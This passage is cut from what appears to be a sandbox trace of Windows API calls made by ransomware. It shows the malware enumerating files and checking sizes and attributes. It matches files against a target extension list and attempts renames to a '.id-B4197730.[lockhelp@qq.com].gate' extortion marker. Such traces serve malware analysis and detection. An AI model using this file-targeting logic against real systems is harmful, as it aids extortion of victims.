dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0114.734] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=903) returned 1 [0114.734] CloseHandle (hObject=0x314) returned 1 [0114.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0114.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.735] lstrlenW (lpString=".doc") returned 4 [0114.735] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString=".docx") returned 5 [0114.735] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0114.735] lstrlenW (lpString=".pdf") returned 4 [0114.735] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString=".xls") returned 4 [0114.735] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString=".xlsx") returned 5 [0114.735] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0114.735] lstrlenW (lpString=".ppt") returned 4 [0114.735] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.735] lstrlenW (lpString=".zip") returned 4 [0114.735] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.735] lstrlenW (lpString=".rar") returned 4 [0114.735] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString=".bz2") returned 4 [0114.735] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.735] lstrlenW (lpString=".7z") returned 3 [0114.735] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.735] lstrlenW (lpString=".dbf") returned 4 [0114.736] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.736] lstrlenW (lpString=".1cd") returned 4 [0114.736] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.736] lstrlenW (lpString=".jpg") returned 4 [0114.736] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.736] lstrlenW (lpString=".doc") returned 4 [0114.736] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString=".docx") returned 5 [0114.736] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0114.736] lstrlenW (lpString=".pdf") returned 4 [0114.736] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString=".xls") returned 4 [0114.736] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString=".xlsx") returned 5 [0114.736] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0114.736] lstrlenW (lpString=".ppt") returned 4 [0114.736] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.736] lstrlenW (lpString=".zip") returned 4 [0114.736] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.736] lstrlenW (lpString=".rar") returned 4 [0114.737] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.737] lstrlenW (lpString=".bz2") returned 4 [0114.737] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.737] lstrlenW (lpString=".7z") returned 3 [0114.737] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.737] lstrlenW (lpString=".dbf") returned 4 [0114.737] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.737] lstrlenW (lpString=".1cd") returned 4 [0114.737] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0114.737] lstrlenW (lpString=".jpg") returned 4 [0114.737] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.737] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.737] lstrlenW (lpString="base_ca.xml") returned 11 [0114.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0114.873] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3529) returned 1 [0114.873] CloseHandle (hObject=0x30c) returned 1 [0114.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0114.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.874] lstrlenW (lpString=".doc") returned 4 [0114.874] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.874] lstrlenW (lpString=".docx") returned 5 [0114.874] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0114.874] lstrlenW (lpString=".pdf") returned 4 [0114.874] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.874] lstrlenW (lpString=".xls") returned 4 [0114.874] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.874] lstrlenW (lpString=".xlsx") returned 5 [0114.874] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0114.874] lstrlenW (lpString=".ppt") returned 4 [0114.874] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.874] lstrlenW (lpString=".zip") returned 4 [0114.875] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.875] lstrlenW (lpString=".rar") returned 4 [0114.875] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.875] lstrlenW (lpString=".bz2") returned 4 [0114.875] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.875] lstrlenW (lpString=".7z") returned 3 [0114.875] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.875] lstrlenW (lpString=".dbf") returned 4 [0114.875] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.875] lstrlenW (lpString=".1cd") returned 4 [0114.875] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.875] lstrlenW (lpString=".jpg") returned 4 [0114.875] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.875] lstrlenW (lpString=".doc") returned 4 [0114.875] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.875] lstrlenW (lpString=".docx") returned 5 [0114.875] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0114.875] lstrlenW (lpString=".pdf") returned 4 [0114.875] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.875] lstrlenW (lpString=".xls") returned 4 [0114.875] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.875] lstrlenW (lpString=".xlsx") returned 5 [0114.875] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0114.876] lstrlenW (lpString=".ppt") returned 4 [0114.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.876] lstrlenW (lpString=".zip") returned 4 [0114.876] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.876] lstrlenW (lpString=".rar") returned 4 [0114.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.876] lstrlenW (lpString=".bz2") returned 4 [0114.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.876] lstrlenW (lpString=".7z") returned 3 [0114.876] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.876] lstrlenW (lpString=".dbf") returned 4 [0114.876] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.876] lstrlenW (lpString=".1cd") returned 4 [0114.876] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0114.876] lstrlenW (lpString=".jpg") returned 4 [0114.876] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.876] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6110e0, Size=0x2000) returned 0x6110e0 [0114.876] lstrcmpiW (lpString1=".dat", lpString2=".gate") returned -1 [0114.876] lstrlenW (lpString="hwrenclm.dat") returned 12 [0114.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0115.082] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=498624) returned 1 [0115.083] CloseHandle (hObject=0x330) returned 1 [0115.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0115.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.084] lstrlenW (lpString=".doc") returned 4 [0115.084] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0115.084] lstrlenW (lpString=".docx") returned 5 [0115.084] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0115.084] lstrlenW (lpString=".pdf") returned 4 [0115.084] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0115.084] lstrlenW (lpString=".xls") returned 4 [0115.084] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0115.084] lstrlenW (lpString=".xlsx") returned 5 [0115.084] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0115.084] lstrlenW (lpString=".ppt") returned 4 [0115.084] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0115.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.084] lstrlenW (lpString=".zip") returned 4 [0115.084] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0115.085] lstrlenW (lpString=".rar") returned 4 [0115.085] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0115.085] lstrlenW (lpString=".bz2") returned 4 [0115.085] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0115.085] lstrlenW (lpString=".7z") returned 3 [0115.085] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0115.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.085] lstrlenW (lpString=".dbf") returned 4 [0115.085] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0115.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.085] lstrlenW (lpString=".1cd") returned 4 [0115.085] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0115.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.085] lstrlenW (lpString=".jpg") returned 4 [0115.085] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0115.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.085] lstrlenW (lpString=".doc") returned 4 [0115.085] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0115.085] lstrlenW (lpString=".docx") returned 5 [0115.085] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0115.085] lstrlenW (lpString=".pdf") returned 4 [0115.085] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0115.085] lstrlenW (lpString=".xls") returned 4 [0115.085] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0115.085] lstrlenW (lpString=".xlsx") returned 5 [0115.085] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0115.086] lstrlenW (lpString=".ppt") returned 4 [0115.086] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0115.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.086] lstrlenW (lpString=".zip") returned 4 [0115.086] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0115.086] lstrlenW (lpString=".rar") returned 4 [0115.086] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0115.086] lstrlenW (lpString=".bz2") returned 4 [0115.086] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0115.086] lstrlenW (lpString=".7z") returned 3 [0115.086] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0115.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.086] lstrlenW (lpString=".dbf") returned 4 [0115.086] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0115.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.086] lstrlenW (lpString=".1cd") returned 4 [0115.086] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0115.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0115.086] lstrlenW (lpString=".jpg") returned 4 [0115.086] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0115.086] lstrcmpiW (lpString1=".dat", lpString2=".gate") returned -1 [0115.086] lstrlenW (lpString="hwrusash.dat") returned 12 [0115.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0115.205] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3380096) returned 1 [0115.205] CloseHandle (hObject=0x35c) returned 1 [0115.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0115.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0115.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.205] lstrlenW (lpString=".doc") returned 4 [0115.205] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0115.205] lstrlenW (lpString=".docx") returned 5 [0115.205] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0115.205] lstrlenW (lpString=".pdf") returned 4 [0115.205] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0115.205] lstrlenW (lpString=".xls") returned 4 [0115.205] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0115.205] lstrlenW (lpString=".xlsx") returned 5 [0115.206] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0115.206] lstrlenW (lpString=".ppt") returned 4 [0115.206] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0115.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.206] lstrlenW (lpString=".zip") returned 4 [0115.206] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0115.206] lstrlenW (lpString=".rar") returned 4 [0115.206] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0115.206] lstrlenW (lpString=".bz2") returned 4 [0115.206] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0115.206] lstrlenW (lpString=".7z") returned 3 [0115.206] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0115.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.206] lstrlenW (lpString=".dbf") returned 4 [0115.206] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0115.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.206] lstrlenW (lpString=".1cd") returned 4 [0115.206] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0115.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.206] lstrlenW (lpString=".jpg") returned 4 [0115.206] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0115.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.206] lstrlenW (lpString=".doc") returned 4 [0115.206] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0115.207] lstrlenW (lpString=".docx") returned 5 [0115.207] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0115.207] lstrlenW (lpString=".pdf") returned 4 [0115.207] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0115.207] lstrlenW (lpString=".xls") returned 4 [0115.207] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0115.207] lstrlenW (lpString=".xlsx") returned 5 [0115.207] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0115.207] lstrlenW (lpString=".ppt") returned 4 [0115.207] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0115.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.207] lstrlenW (lpString=".zip") returned 4 [0115.207] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0115.207] lstrlenW (lpString=".rar") returned 4 [0115.207] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0115.207] lstrlenW (lpString=".bz2") returned 4 [0115.207] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0115.207] lstrlenW (lpString=".7z") returned 3 [0115.207] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0115.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.207] lstrlenW (lpString=".dbf") returned 4 [0115.207] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0115.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.207] lstrlenW (lpString=".1cd") returned 4 [0115.207] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0115.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0115.207] lstrlenW (lpString=".jpg") returned 4 [0115.207] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0115.208] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0115.208] lstrlenW (lpString="ipsdeu.xml") returned 10 [0115.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0115.299] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=2616) returned 1 [0115.299] CloseHandle (hObject=0x374) returned 1 [0115.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0115.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.301] lstrlenW (lpString=".doc") returned 4 [0115.301] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.301] lstrlenW (lpString=".docx") returned 5 [0115.301] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0115.301] lstrlenW (lpString=".pdf") returned 4 [0115.302] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.302] lstrlenW (lpString=".xls") returned 4 [0115.302] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.302] lstrlenW (lpString=".xlsx") returned 5 [0115.302] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0115.302] lstrlenW (lpString=".ppt") returned 4 [0115.302] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.302] lstrlenW (lpString=".zip") returned 4 [0115.302] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.302] lstrlenW (lpString=".rar") returned 4 [0115.302] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.302] lstrlenW (lpString=".bz2") returned 4 [0115.302] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.302] lstrlenW (lpString=".7z") returned 3 [0115.302] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0115.302] lstrlenW (lpString=".dbf") returned 4 [0115.302] lstrcmpiW 